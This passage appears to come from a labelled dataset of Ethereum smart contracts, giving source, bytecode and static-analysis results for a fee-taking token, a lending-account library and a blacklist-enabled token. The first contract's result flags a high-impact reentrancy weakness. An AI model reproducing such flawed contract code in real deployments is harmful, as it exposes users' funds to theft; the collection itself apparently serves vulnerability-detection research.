f35b34801561025257600080fd5b50610266610261366004611a81565b6106a2565b604051901515815260200161023d565b34801561028257600080fd5b50601454610296906001600160a01b031681565b6040516001600160a01b03909116815260200161023d565b3480156102ba57600080fd5b50670de0b6b3a76400005b60405190815260200161023d565b3480156102df57600080fd5b506102666102ee366004611aad565b6106b9565b3480156102ff57600080fd5b506102c560185481565b34801561031557600080fd5b506040516009815260200161023d565b34801561033157600080fd5b50601554610296906001600160a01b031681565b34801561035157600080fd5b506101fc610360366004611aee565b610722565b34801561037157600080fd5b506101fc610380366004611b1b565b61076d565b34801561039157600080fd5b506101fc6107b5565b3480156103a657600080fd5b506102c56103b5366004611aee565b610800565b3480156103c657600080fd5b506101fc610822565b3480156103db57600080fd5b506101fc6103ea366004611b36565b610896565b3480156103fb57600080fd5b506102c560165481565b34801561041157600080fd5b506102c5610420366004611aee565b60116020526000908152604090205481565b34801561043e57600080fd5b506000546001600160a01b0316610296565b34801561045c57600080fd5b506101fc61046b366004611b1b565b6108c5565b34801561047c57600080fd5b506102c560175481565b34801561049257600080fd5b506040805180820190915260098152681931102134bd3734bd60b91b6020820152610230565b3480156104c457600080fd5b506101fc6104d3366004611b36565b61090d565b3480156104e457600080fd5b506101fc6104f3366004611b4f565b61093c565b34801561050457600080fd5b50610266610513366004611a81565b61097a565b34801561052457600080fd5b50610266610533366004611aee565b60106020526000908152604090205460ff1681565b34801561055457600080fd5b506101fc610987565b34801561056957600080fd5b506101fc610578366004611b81565b6109db565b34801561058957600080fd5b506102c5610598366004611c05565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105cf57600080fd5b506101fc6105de366004611b36565b610a7c565b3480156105ef57600080fd5b506101fc6105fe366004611aee565b610aab565b6000546001600160a01b031633146106365760405162461bcd60e51b815260040161062d90611c3e565b60405180910390fd5b60005b815181101561069e5760016010600084848151811061065a5761065a611c73565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069681611c9f565b915050610639565b5050565b60006106af338484610b95565b5060015b92915050565b60006106c6848484610cb9565b610718843361071385604051806060016040528060288152602001611db9602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f5565b610b95565b5060019392505050565b6000546001600160a01b0316331461074c5760405162461bcd60e51b815260040161062d90611c3e565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107975760405162461bcd60e51b815260040161062d90611c3e565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107ea57506013546001600160a01b0316336001600160a01b0316145b6107f357600080fd5b476107fd8161122f565b50565b6001600160a01b0381166000908152600260205260408120546106b390611269565b6000546001600160a01b0316331461084c5760405162461bcd60e51b815260040161062d90611c3e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108c05760405162461bcd60e51b815260040161062d90611c3e565b601655565b6000546001600160a01b031633146108ef5760405162461bcd60e51b815260040161062d90611c3e565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109375760405162461bcd60e51b815260040161062d90611c3e565b601855565b6000546001600160a01b031633146109665760405162461bcd60e51b815260040161062d90611c3e565b600893909355600a91909155600955600b55565b60006106af338484610cb9565b6012546001600160a01b0316336001600160a01b031614806109bc57506013546001600160a01b0316336001600160a01b0316145b6109c557600080fd5b60006109d030610800565b90506107fd816112ed565b6000546001600160a01b03163314610a055760405162461bcd60e51b815260040161062d90611c3e565b60005b82811015610a76578160056000868685818110610a2757610a27611c73565b9050602002016020810190610a3c9190611aee565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6e81611c9f565b915050610a08565b50505050565b6000546001600160a01b03163314610aa65760405162461bcd60e51b815260040161062d90611c3e565b601755565b6000546001600160a01b03163314610ad55760405162461bcd60e51b815260040161062d90611c3e565b6001600160a01b038116610b3a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161062d565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161062d565b6001600160a01b038216610c585760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161062d565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d1d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161062d565b6001600160a01b038216610d7f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161062d565b60008111610de15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161062d565b6000546001600160a01b03848116911614801590610e0d57506000546001600160a01b03838116911614155b156110ee57601554600160a01b900460ff16610ea6576000546001600160a01b03848116911614610ea65760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161062d565b601654811115610ef85760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161062d565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3a57506001600160a01b03821660009081526010602052604090205460ff16155b610f925760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161062d565b6015546001600160a01b038381169116146110175760175481610fb484610800565b610fbe9190611cba565b106110175760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161062d565b600061102230610800565b60185460165491925082101590821061103b5760165491505b8080156110525750601554600160a81b900460ff16155b801561106c57506015546001600160a01b03868116911614155b80156110815750601554600160b01b900460ff165b80156110a657506001600160a01b03851660009081526005602052604090205460ff16155b80156110cb57506001600160a01b03841660009081526005602052604090205460ff16155b156110eb576110d9826112ed565b4780156110e9576110e94761122f565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061113057506001600160a01b03831660009081526005602052604090205460ff165b8061116257506015546001600160a01b0385811691161480159061116257506015546001600160a01b03848116911614155b1561116f575060006111e9565b6015546001600160a01b03858116911614801561119a57506014546001600160a01b03848116911614155b156111ac57600854600c55600954600d555b6015546001600160a01b0384811691161480156111d757506014546001600160a01b03858116911614155b156111e957600a54600c55600b54600d555b610a7684848484611476565b600081848411156112195760405162461bcd60e51b815260040161062d9190611a2c565b5060006112268486611cd2565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561069e573d6000803e3d6000fd5b60006006548211156112d05760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161062d565b60006112da6114a4565b90506112e683826114c7565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133557611335611c73565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138957600080fd5b505afa15801561139d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c19190611ce9565b816001815181106113d4576113d4611c73565b6001600160a01b0392831660209182029290920101526014546113fa9130911684610b95565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611433908590600090869030904290600401611d06565b600060405180830381600087803b15801561144d57600080fd5b505af1158015611461573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061148357611483611509565b61148e848484611537565b80610a7657610a76600e54600c55600f54600d55565b60008060006114b161162e565b90925090506114c082826114c7565b9250505090565b60006112e683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061166e565b600c541580156115195750600d54155b1561152057565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806115498761169c565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157b90876116f9565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115aa908661173b565b6001600160a01b0389166000908152600260205260409020556115cc8161179a565b6115d684836117e4565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161b91815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061164982826114c7565b82101561166557505060065492670de0b6b3a764000092509050565b90939092509050565b6000818361168f5760405162461bcd60e51b815260040161062d9190611a2c565b5060006112268486611d77565b60008060008060008060008060006116b98a600c54600d54611808565b92509250925060006116c96114a4565b905060008060006116dc8e87878761185d565b919e509c509a509598509396509194505050505091939550919395565b60006112e683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f5565b6000806117488385611cba565b9050838110156112e65760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161062d565b60006117a46114a4565b905060006117b283836118ad565b306000908152600260205260409020549091506117cf908261173b565b30600090815260026020526040902055505050565b6006546117f190836116f9565b600655600754611801908261173b565b6007555050565b6000808080611822606461181c89896118ad565b906114c7565b90506000611835606461181c8a896118ad565b9050600061184d826118478b866116f9565b906116f9565b9992985090965090945050505050565b600080808061186c88866118ad565b9050600061187a88876118ad565b9050600061188888886118ad565b9050600061189a8261184786866116f9565b939b939a50919850919650505050505050565b6000826118bc575060006106b3565b60006118c88385611d99565b9050826118d58583611d77565b146112e65760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161062d565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107fd57600080fd5b803561196281611942565b919050565b6000602080838503121561197a57600080fd5b823567ffffffffffffffff8082111561199257600080fd5b818501915085601f8301126119a657600080fd5b8135818111156119b8576119b861192c565b8060051b604051601f19603f830116810181811085821117156119dd576119dd61192c565b6040529182528482019250838101850191888311156119fb57600080fd5b938501935b82851015611a2057611a1185611957565b84529385019392850192611a00565b98975050505050505050565b600060208083528351808285015260005b81811015611a5957858101830151858201604001528201611a3d565b81811115611a6b576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a9457600080fd5b8235611a9f81611942565b946020939093013593505050565b600080600060608486031215611ac257600080fd5b8335611acd81611942565b92506020840135611add81611942565b929592945050506040919091013590565b600060208284031215611b0057600080fd5b81356112e681611942565b8035801515811461196257600080fd5b600060208284031215611b2d57600080fd5b6112e682611b0b565b600060208284031215611b4857600080fd5b5035919050565b60008060008060808587031215611b6557600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9657600080fd5b833567ffffffffffffffff80821115611bae57600080fd5b818601915086601f830112611bc257600080fd5b813581811115611bd157600080fd5b8760208260051b8501011115611be657600080fd5b602092830195509350611bfc9186019050611b0b565b90509250925092565b60008060408385031215611c1857600080fd5b8235611c2381611942565b91506020830135611c3381611942565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cb357611cb3611c89565b5060010190565b60008219821115611ccd57611ccd611c89565b500190565b600082821015611ce457611ce4611c89565b500390565b600060208284031215611cfb57600080fd5b81516112e681611942565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d565784516001600160a01b031683529383019391830191600101611d31565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d9457634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611db357611db3611c89565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220dc9f4663ea8a9cf77c58f79f84d50c6719497e681fbf566d84a2916238cfc00964736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
10,027
0x108C91cD39b9B0A915Bae937061C5b8B8da0e3AA
/** *Submitted for verification at Etherscan.io on 2021-11-11 */ pragma solidity 0.5.14; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // SPDX-License-Identifier: BUSL-1.1 // This is for per user library AccountTokenLib { using SafeMath for uint256; struct TokenInfo { // Deposit info uint256 depositPrincipal; // total deposit principal of ther user uint256 depositInterest; // total deposit interest of the user uint256 lastDepositBlock; // the block number of user's last deposit // Borrow info uint256 borrowPrincipal; // total borrow principal of ther user uint256 borrowInterest; // total borrow interest of ther user uint256 lastBorrowBlock; // the block number of user's last borrow } uint256 constant BASE = 10**18; // returns the principal function getDepositPrincipal(TokenInfo storage self) public view returns(uint256) { return self.depositPrincipal; } function getBorrowPrincipal(TokenInfo storage self) public view returns(uint256) { return self.borrowPrincipal; } function getDepositBalance(TokenInfo storage self, uint accruedRate) public view returns(uint256) { return self.depositPrincipal.add(calculateDepositInterest(self, accruedRate)); } function getBorrowBalance(TokenInfo storage self, uint accruedRate) public view returns(uint256) { return self.borrowPrincipal.add(calculateBorrowInterest(self, accruedRate)); } function getLastDepositBlock(TokenInfo storage self) public view returns(uint256) { return self.lastDepositBlock; } function getLastBorrowBlock(TokenInfo storage self) public view returns(uint256) { return self.lastBorrowBlock; } function getDepositInterest(TokenInfo storage self) public view returns(uint256) { return self.depositInterest; } function getBorrowInterest(TokenInfo storage self) public view returns(uint256) { return self.borrowInterest; } function borrow(TokenInfo storage self, uint256 amount, uint256 accruedRate, uint256 _block) public { newBorrowCheckpoint(self, accruedRate, _block); self.borrowPrincipal = self.borrowPrincipal.add(amount); } /** * Update token info for withdraw. The interest will be withdrawn with higher priority. */ function withdraw(TokenInfo storage self, uint256 amount, uint256 accruedRate, uint256 _block) public { newDepositCheckpoint(self, accruedRate, _block); if (self.depositInterest >= amount) { self.depositInterest = self.depositInterest.sub(amount); } else if (self.depositPrincipal.add(self.depositInterest) >= amount) { self.depositPrincipal = self.depositPrincipal.sub(amount.sub(self.depositInterest)); self.depositInterest = 0; } else { self.depositPrincipal = 0; self.depositInterest = 0; } } /** * Update token info for deposit */ function deposit(TokenInfo storage self, uint256 amount, uint accruedRate, uint256 _block) public { newDepositCheckpoint(self, accruedRate, _block); self.depositPrincipal = self.depositPrincipal.add(amount); } function repay(TokenInfo storage self, uint256 amount, uint accruedRate, uint256 _block) public { // updated rate (new index rate), applying the rate from startBlock(checkpoint) to currBlock newBorrowCheckpoint(self, accruedRate, _block); // user owes money, then he tries to repays if (self.borrowInterest > amount) { self.borrowInterest = self.borrowInterest.sub(amount); } else if (self.borrowPrincipal.add(self.borrowInterest) > amount) { self.borrowPrincipal = self.borrowPrincipal.sub(amount.sub(self.borrowInterest)); self.borrowInterest = 0; } else { self.borrowPrincipal = 0; self.borrowInterest = 0; } } function newDepositCheckpoint(TokenInfo storage self, uint accruedRate, uint256 _block) public { self.depositInterest = calculateDepositInterest(self, accruedRate); self.lastDepositBlock = _block; } function newBorrowCheckpoint(TokenInfo storage self, uint accruedRate, uint256 _block) public { self.borrowInterest = calculateBorrowInterest(self, accruedRate); self.lastBorrowBlock = _block; } // Calculating interest according to the new rate // calculated starting from last deposit checkpoint function calculateDepositInterest(TokenInfo storage self, uint accruedRate) public view returns(uint256) { return self.depositPrincipal.add(self.depositInterest).mul(accruedRate).sub(self.depositPrincipal.mul(BASE)).div(BASE); } function calculateBorrowInterest(TokenInfo storage self, uint accruedRate) public view returns(uint256) { uint256 _balance = self.borrowPrincipal; if(accruedRate == 0 || _balance == 0 || BASE >= accruedRate) { return self.borrowInterest; } else { return _balance.add(self.borrowInterest).mul(accruedRate).sub(_balance.mul(BASE)).div(BASE); } } }
0x73108c91cd39b9b0a915bae937061c5b8b8da0e3aa30146080604052600436106101095760003560e01c806350c918ca116100a15780639efdc35c116100705780639efdc35c14610300578063b66b3ce91461033c578063e8f2267314610359578063febc2fe31461037c57610109565b806350c918ca14610254578063691d7fe514610277578063875c4802146102ad5780638ec2cbd0146102ca57610109565b80632c3919ee116100dd5780632c3919ee146101c157806336be106a146101de578063381cec48146101fb5780633bc496a01461023757610109565b8062b0b8a11461010e57806313d973f71461013d5780631496a7971461016057806315d7fef51461019e575b600080fd5b61012b6004803603602081101561012457600080fd5b50356103b8565b60408051918252519081900360200190f35b61012b6004803603604081101561015357600080fd5b50803590602001356103bc565b81801561016c57600080fd5b5061019c6004803603608081101561018357600080fd5b50803590602081013590604081013590606001356103e2565b005b61012b600480360360408110156101b457600080fd5b5080359060200135610407565b61012b600480360360208110156101d757600080fd5b50356104a4565b61012b600480360360208110156101f457600080fd5b50356104ab565b81801561020757600080fd5b5061019c6004803603608081101561021e57600080fd5b50803590602081013590604081013590606001356104b2565b61012b6004803603602081101561024d57600080fd5b503561054c565b61012b6004803603604081101561026a57600080fd5b5080359060200135610553565b81801561028357600080fd5b5061019c6004803603606081101561029a57600080fd5b508035906020810135906040013561059f565b61012b600480360360208110156102c357600080fd5b50356105ba565b8180156102d657600080fd5b5061019c600480360360608110156102ed57600080fd5b50803590602081013590604001356105c1565b81801561030c57600080fd5b5061019c6004803603608081101561032357600080fd5b50803590602081013590604081013590606001356105dc565b61012b6004803603602081101561035257600080fd5b503561060a565b61012b6004803603604081101561036f57600080fd5b5080359060200135610611565b81801561038857600080fd5b5061019c6004803603608081101561039f57600080fd5b5080359060208101359060408101359060600135610631565b5490565b60006103d96103cb8484610553565b84549063ffffffff6106d916565b90505b92915050565b6103ed84838361059f565b83546103ff908463ffffffff6106d916565b909355505050565b600382015460009082158061041a575080155b8061042d575082670de0b6b3a764000010155b1561043e57505060048201546103dc565b61049c670de0b6b3a764000061049061045d848363ffffffff61073316565b610484876104788a60040154886106d990919063ffffffff16565b9063ffffffff61073316565b9063ffffffff61078c16565b9063ffffffff6107ce16565b9150506103dc565b6001015490565b6004015490565b6104bd84838361059f565b828460010154106104e75760018401546104dd908463ffffffff61078c16565b6001850155610546565b600184015484548491610500919063ffffffff6106d916565b1061053b5761052d61051f85600101548561078c90919063ffffffff16565b85549063ffffffff61078c16565b845560006001850155610546565b600080855560018501555b50505050565b6005015490565b60006103d9670de0b6b3a7640000610490610583670de0b6b3a7640000876000015461073390919063ffffffff16565b600187015487546104849188916104789163ffffffff6106d916565b6105a98383610553565b600184015560029092019190915550565b6003015490565b6105cb8383610407565b600484015560059092019190915550565b6105e78483836105c1565b60038401546105fc908463ffffffff6106d916565b846003018190555050505050565b6002015490565b60006103d96106208484610407565b60038501549063ffffffff6106d916565b61063c8483836105c1565b828460040154111561066757600484015461065d908463ffffffff61078c16565b6004850155610546565b82610683856004015486600301546106d990919063ffffffff16565b11156106c5576106b46106a385600401548561078c90919063ffffffff16565b60038601549063ffffffff61078c16565b600385015560006004850155610546565b600060038501819055600485015550505050565b6000828201838110156103d9576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600082610742575060006103dc565b8282028284828161074f57fe5b04146103d95760405162461bcd60e51b815260040180806020018281038252602181526020018061090d6021913960400191505060405180910390fd5b60006103d983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610810565b60006103d983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506108a7565b6000818484111561089f5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561086457818101518382015260200161084c565b50505050905090810190601f1680156108915780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600081836108f65760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561086457818101518382015260200161084c565b50600083858161090257fe5b049594505050505056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a265627a7a72315820a19ac228dfee8eda59e4bcf9191f875071419915136e1c9f9619b055db2877a664736f6c634300050e0032
{"success": true, "error": null, "results": {}}
10,028
0xb045b4c041088dab5fb89067203d530e99560359
// SPDX-License-Identifier: MIT pragma solidity >=0.5.0 <0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract miniKISHIMOTO is Context, IERC20 { using SafeMath for uint256; using Address for address; struct lockDetail{ uint256 amountToken; uint256 lockUntil; } mapping (address => uint256) private _balances; mapping (address => bool) private _blacklist; mapping (address => bool) private _isAdmin; mapping (address => lockDetail) private _lockInfo; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event PutToBlacklist(address indexed target, bool indexed status); event LockUntil(address indexed target, uint256 indexed totalAmount, uint256 indexed dateLockUntil); constructor (string memory name, string memory symbol, uint256 amount) { _name = name; _symbol = symbol; _setupDecimals(18); address msgSender = _msgSender(); _owner = msgSender; _isAdmin[msgSender] = true; _mint(msgSender, amount); emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function isAdmin(address account) public view returns (bool) { return _isAdmin[account]; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } modifier onlyAdmin() { require(_isAdmin[_msgSender()] == true, "Ownable: caller is not the administrator"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function promoteAdmin(address newAdmin) public virtual onlyOwner { require(_isAdmin[newAdmin] == false, "Ownable: address is already admin"); require(newAdmin != address(0), "Ownable: new admin is the zero address"); _isAdmin[newAdmin] = true; } function demoteAdmin(address oldAdmin) public virtual onlyOwner { require(_isAdmin[oldAdmin] == true, "Ownable: address is not admin"); require(oldAdmin != address(0), "Ownable: old admin is the zero address"); _isAdmin[oldAdmin] = false; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function isBlackList(address account) public view returns (bool) { return _blacklist[account]; } function getLockInfo(address account) public view returns (uint256, uint256) { lockDetail storage sys = _lockInfo[account]; if(block.timestamp > sys.lockUntil){ return (0,0); }else{ return ( sys.amountToken, sys.lockUntil ); } } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function 